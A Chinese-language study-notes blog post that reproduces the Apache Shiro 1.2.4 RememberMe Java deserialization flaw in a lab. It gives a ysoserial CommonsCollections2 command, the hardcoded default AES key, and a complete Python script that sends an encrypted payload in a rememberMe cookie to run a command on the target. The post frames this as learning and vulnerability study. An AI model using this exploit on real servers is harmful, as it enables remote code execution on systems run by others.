#学习笔记·Web篇# Apache Shiro Java反序列化漏洞复现
#学习笔记·Web篇#
Apache Shiro Java反序列化漏洞复现
最近学习Java反序列漏洞的相关知识,在Apache Shiro1.2.4版本环境下做了一个简单的POC,以熟悉用ysoserial项目进行漏洞利用的流程,将整个过程记录下来。欢迎大家留言探讨指出错误,非常感谢:)
参考资料:
https://www.freebuf.com/vuls/170344.html
https://blog.knownsec.com/2016/08/apache-shiro-java/
系统环境
windows 7操作系统,jdk 1.6.0_45,apache-maven-3.2.5。注意maven和jdk的版本要匹配,如何配置IDEA的jdk和maven环境可以参考网上诸多教程。
漏洞分析
官方(https://issues.apache.org/jira/browse/SHIRO-550)对漏洞的描述简单讲就是:Shiro提供了RememberMe功能,用户不用每次都输入用户名密码登录,也可以在cookie中加入能让服务器识别自己的identity,默认 CookieRememberMeManager来处理用户的identity。当收到未认证用户发来的request请求,它会读取cookie中的rememberMe的值,然后将其Base64解码,再用AES解密,最后反序列化。AES的秘钥默认是硬编码的,这意味着任何人都可以通过源码获取该秘钥。因此,攻击者可以构造一个恶意的对象,将其序列化,AES加密,Base64编码后放到cookie中,Shiro的 CookieRememberMeManager将会触发恶意对象的反序列化。
实验环境搭建
1. 获取Shiro项目源码
下载Apache Shiro代码至本地:
git clone https://github.com/apache/shiro.git
切换到存在漏洞的分支:
git checkout shiro-root-1.2.4。
2. 修改samples/web/pom.xml文件,这里是按参考资料中配置的。
<!-- 需要设置编译的版本 -->
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
...
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
.....
<dependency>
<!-- 添加可以利用的jar包,之后会解释 -->
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependencies>
3.编译打包部署Shiro
将整个工程通过pom.xml导入到IntelliJ IDEA。我喜欢尽量使用IDE来阅读和编译源码,毕竟它们提供了更多的集成编译环境,也方便跳来跳去看代码。
选择File->New->Project from Existing Sources
选择项目的pom.xml文件,点击OK。IDEA会自动解析依赖,并下载缺少的库,这里你需要等待一会儿,可以喝杯咖啡或发会儿呆休息一下。万分建议国内的朋友使用maven的镜像,不然可能会碰到各种依赖下载失败的ERROR,在setting.xml文件(IDEA在File->Settings的maven配置选项卡中可以指定该文件路径,通常在maven安装目录下的conf目录中)中配置mirror。
将工程编译并打包成war:在IDEA界面右侧的maven选项卡中,双击samples::web的package。
这时,我遇到了报错Please make sure you define the required toolchain in your ~/.m2/toolchain.xml file,如下图。
参考https://www.cnblogs.com/Ahanu/p/5051090.html的解决办法,我在.m2目录下放了一个toolchain.xml文件,在文件中指定了jdk1.6的路径。
此步骤成功后会在项目的samples/web/target/目录下生成samples-web-1.2.4.war。将这个war包拷贝到tomcat/webapps目录下,通过http://xxx.xxx.xxx.xxx:8080/samples-web-1.2.4/
就可以访问登录页面。
漏洞利用
这里我尝试利用该漏洞来运行shrio服务器上的计算器程序。大家也可以在生成攻击负载的时候把command替换成任意自己想运行的命令。
1. 序列化恶意对象
水平有限,目前只能用大神的工具ysoserial来生成恶意对象的序列化后的文件。赫赫有名的ysoserial项目源码在这里https://github.com/frohoff/ysoserial。我没有自己去编译源码,而是直接下载了latest jar。
项目的ReadMe中有使用方法,需要在payload处指明系统使用的依赖库:
注意:之前我们将samples/web/pom.xml中添加了commons-collections4.0的依赖改成了4.0,因此我们的payload就是CommonsCollections2。
运行如下命令,将结果输出到ysoserialpayload.bin文件中
>java -jar ysoserial-master-30099844c6-1.jar CommonsCollections2 calc.exe > ysoserialpayload.bin
2. 加密编码
我们来看看源码中是如何对rememberMe的值进行加密和编码的。
首先,CookieRememerMeManager继承了AbstractRememberMeManager,AbstractRememberMeManager中实现了加密函数,如下图。
调用的CipherService是AesCipherService,使用AES加密算法。
我们可以在AbstractRememberMeManager的源码中得到默认的加密秘钥:kPH+bIxk5D2deZiIxcaaaA==
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
现在有了加密算法和秘钥,还需要知道初始化向量InitializationVector(IV)。一路跟踪AesCipherService的父类,可以在JcaCipherService中找到对IV的处理。它随机生成了一个和秘钥一样长(128bit)的序列作为IV,然后将其和加密的结果拼接在一起作为结果返回。
由此可以推测,解密的时候,也是从前128个bit取出解密用的IV。
然后,CookieRememberMeManager中对序列化的值进行了Base64编码,该过程在rememberSerializedIdentity中,如下图。
可以用python代码模仿这个调用过程来对恶意对象序列化结果加密和编码。Python的uuid模块可以生成固定的长度为128bit的ID,uuid.uuid4()通过随机数来生成UUID。我用它来生成IV,大家也可以使用其他任意生成128bit任意序列的方法。完整的利用代码如下(attack.py), AESEncryptAndBase64Encode函数为加密并编码的过程。
import base64
import uuid
import requests
from Crypto.Cipher import AES
def AESEncryptAndBase64Encode(serialized):
block_size = AES.block_size
if len(serialized) % block_size != 0:
serialized += ((block_size - len(serialized) % block_size) * chr(block_size - len(serialized) % block_size)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(key, mode, iv)
output = iv + encryptor.encrypt(serialized)
value = base64.b64encode(output)
return value
if __name__=='__main__':
with open ("ysoserialpayload.bin", "rb") as f:
payload = AESEncryptAndBase64Encode(f.read())
cookies={"rememberMe" : payload.decode()}
requests.get("http://xxx.xxx.xxx.xxx:8080/samples-web-1.2.4/",cookies=cookies)
最后,运行python attack.py,如果幸运的话,你会在目标服务器上看到:
思考:构造目标环境下触发反序列化漏洞的恶意对象是一门艺术,是一件比较难的事情,需要对Java库有一定的了解,ysoserial在这方面给我们提供了一定的支持,想要深入学习的小伙伴可以详细去研究这个项目以及相关的slide和paper。另外十分重要的一点就是对目标Java程序进行分析,找到应用中的攻击点,也就是触发对序列化后的恶意对象的反序列化操作的点。这里有点绕,大家可以多顺一下,比如这个例子中对cookie中对rememberMe的反序列化。
注:本文中实验在仅可在模拟环境下进行,作为帮助学习和理解该知识点的参考,非法使用作者概不负责。学习漏洞的利用是为了更好地在生产中规避它们,技术无罪,人心难测。
多学习 多读书 多睡觉
少想些有的没的没用的